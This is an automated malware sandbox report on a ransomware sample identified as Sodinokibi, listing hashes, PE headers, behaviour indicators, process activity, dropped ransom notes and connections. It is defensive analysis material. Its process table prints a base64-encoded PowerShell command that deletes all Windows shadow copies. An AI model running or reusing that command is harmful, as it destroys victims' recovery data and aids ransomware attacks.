| File name: | adb.vbs.txt |
| Full analysis: | https://app.any.run/tasks/945082e6-83ca-44a9-86c1-44ca73184772 |
| Verdict: | Malicious activity |
| Threats: | Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying. |
| Analysis date: | August 10, 2023, 01:29:02 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | B86AD4241B01376B3924A380F6F4C934 |
| SHA1: | 10682D08A18715A79EE23B58FDB6EE44C4E28C61 |
| SHA256: | 14C8E3F1F23D16C2C9A4272CD05D00461D27B372CC5F588B4BBFC6102BBED708 |
| SSDEEP: | 1536:aTZINbRh0SKws6KTUkmHlntMvfWhbpfCqeICS4AKvQIFlswOmZFS0cnwpIGmQwB:FRix3PWhNlOVFmw5q0cifmQ |
MALICIOUS
Renames files like ransomware
- adb.vbs.txt.exe (PID: 3320)
SODINOKIBI detected by memory dumps
- adb.vbs.txt.exe (PID: 3320)
SUSPICIOUS
Reads the Internet Settings
- adb.vbs.txt.exe (PID: 3508)
Application launched itself
- adb.vbs.txt.exe (PID: 3508)
BASE64 encoded PowerShell command has been detected
- adb.vbs.txt.exe (PID: 3320)
Base64-obfuscated command line is found
- adb.vbs.txt.exe (PID: 3320)
Starts POWERSHELL.EXE for commands execution
- adb.vbs.txt.exe (PID: 3320)
Executes as Windows Service
- VSSVC.exe (PID: 3220)
Powershell version downgrade attack
- powershell.exe (PID: 2124)
Creates files like ransomware instruction
- adb.vbs.txt.exe (PID: 3320)
INFO
Checks supported languages
- adb.vbs.txt.exe (PID: 3508)
- adb.vbs.txt.exe (PID: 3320)
Reads product name
- adb.vbs.txt.exe (PID: 3508)
- adb.vbs.txt.exe (PID: 3320)
The process checks LSA protection
- adb.vbs.txt.exe (PID: 3508)
- adb.vbs.txt.exe (PID: 3320)
- unsecapp.exe (PID: 3040)
- VSSVC.exe (PID: 3220)
Reads the computer name
- adb.vbs.txt.exe (PID: 3508)
- adb.vbs.txt.exe (PID: 3320)
Reads Environment values
- adb.vbs.txt.exe (PID: 3508)
- adb.vbs.txt.exe (PID: 3320)
Reads the machine GUID from the registry
- adb.vbs.txt.exe (PID: 3320)
Manual execution by a user
- notepad.exe (PID: 3120)
- notepad.exe (PID: 3612)
Creates files in the program directory
- adb.vbs.txt.exe (PID: 3320)
Create files in a temporary directory
- adb.vbs.txt.exe (PID: 3320)
Dropped object may contain TOR URL's
- adb.vbs.txt.exe (PID: 3320)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (64.6) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.4) |
| .exe | | | Win32 Executable (generic) (10.5) |
| .exe | | | Generic Win/DOS Executable (4.6) |
| .exe | | | DOS Executable Generic (4.6) |
EXIF
EXE
| Subsystem: | Windows GUI |
|---|---|
| SubsystemVersion: | 5.1 |
| ImageVersion: | - |
| OSVersion: | 5.1 |
| EntryPoint: | 0x3e97 |
| UninitializedDataSize: | - |
| InitializedDataSize: | 73728 |
| CodeSize: | 45568 |
| LinkerVersion: | 14 |
| PEType: | PE32 |
| ImageFileCharacteristics: | Executable, 32-bit |
| TimeStamp: | 2020:07:28 19:02:45+00:00 |
| MachineType: | Intel 386 or later, and compatibles |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 28-Jul-2020 19:02:45 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000E8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 5 |
| Time date stamp: | 28-Jul-2020 19:02:45 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0000B074 | 0x0000B200 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.54502 |
.rdata | 0x0000D000 | 0x00002C7C | 0x00002E00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 7.77837 |
.data | 0x00010000 | 0x00002038 | 0x00001E00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.48378 |
.7xk | 0x00013000 | 0x0000C800 | 0x0000C800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 5.57108 |
.reloc | 0x00020000 | 0x00000660 | 0x00000800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 5.85563 |
Imports
KERNEL32.dll |
USER32.dll |
Total processes
48
Monitored processes
7
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2124 | powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | adb.vbs.txt.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3040 | C:\Windows\system32\wbem\unsecapp.exe -Embedding | C:\Windows\System32\wbem\unsecapp.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Sink to receive asynchronous callbacks for WMI client application Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3120 | "C:\Windows\system32\NOTEPAD.EXE" C:\Users\admin\Desktop\1005z-readme.txt | C:\Windows\System32\notepad.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Notepad Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3220 | C:\Windows\system32\vssvc.exe | C:\Windows\System32\VSSVC.exe | — | services.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3320 | "C:\Users\admin\AppData\Local\Temp\adb.vbs.txt.exe" | C:\Users\admin\AppData\Local\Temp\adb.vbs.txt.exe | adb.vbs.txt.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
| 3508 | "C:\Users\admin\AppData\Local\Temp\adb.vbs.txt.exe" | C:\Users\admin\AppData\Local\Temp\adb.vbs.txt.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3612 | "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\1005z-readme.txt | C:\Windows\System32\notepad.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Notepad Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
2 246
Read events
2 184
Write events
62
Delete events
0
Modification events
| (PID) Process: | (3508) adb.vbs.txt.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (3508) adb.vbs.txt.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (3508) adb.vbs.txt.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (3508) adb.vbs.txt.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (2124) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\178\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
Executable files
2
Suspicious files
279
Text files
0
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3320 | adb.vbs.txt.exe | C:\recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim | — | |
MD5:— | SHA256:— | |||
| 3320 | adb.vbs.txt.exe | C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.1005z | — | |
MD5:— | SHA256:— | |||
| 2124 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5ZOMJRQIMTRBWSA6WGCY.temp | binary | |
MD5:219900F4E3A0B4B3E1BDF364167D697E | SHA256:F953A7C5F1662C04D86C12EBA0D22A135CC0AE11BAEEE80CC5EFD325582B5F36 | |||
| 3320 | adb.vbs.txt.exe | C:\1005z-readme.txt | binary | |
MD5:DDFB63115EDEA53C2CFCEA649566A366 | SHA256:C74EA026E60497491C1058074D7C2E38EBE2A704C466A750BC357636586B759F | |||
| 3320 | adb.vbs.txt.exe | C:\users\admin\1005z-readme.txt | binary | |
MD5:DDFB63115EDEA53C2CFCEA649566A366 | SHA256:C74EA026E60497491C1058074D7C2E38EBE2A704C466A750BC357636586B759F | |||
| 3320 | adb.vbs.txt.exe | C:\users\public\1005z-readme.txt | binary | |
MD5:DDFB63115EDEA53C2CFCEA649566A366 | SHA256:C74EA026E60497491C1058074D7C2E38EBE2A704C466A750BC357636586B759F | |||
| 3320 | adb.vbs.txt.exe | C:\recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\1005z-readme.txt | binary | |
MD5:DDFB63115EDEA53C2CFCEA649566A366 | SHA256:C74EA026E60497491C1058074D7C2E38EBE2A704C466A750BC357636586B759F | |||
| 3320 | adb.vbs.txt.exe | C:\users\admin\contacts\1005z-readme.txt | binary | |
MD5:DDFB63115EDEA53C2CFCEA649566A366 | SHA256:C74EA026E60497491C1058074D7C2E38EBE2A704C466A750BC357636586B759F | |||
| 3320 | adb.vbs.txt.exe | C:\users\default\1005z-readme.txt | binary | |
MD5:DDFB63115EDEA53C2CFCEA649566A366 | SHA256:C74EA026E60497491C1058074D7C2E38EBE2A704C466A750BC357636586B759F | |||
| 3320 | adb.vbs.txt.exe | C:\users\administrator\1005z-readme.txt | binary | |
MD5:DDFB63115EDEA53C2CFCEA649566A366 | SHA256:C74EA026E60497491C1058074D7C2E38EBE2A704C466A750BC357636586B759F | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
0
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
3284 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |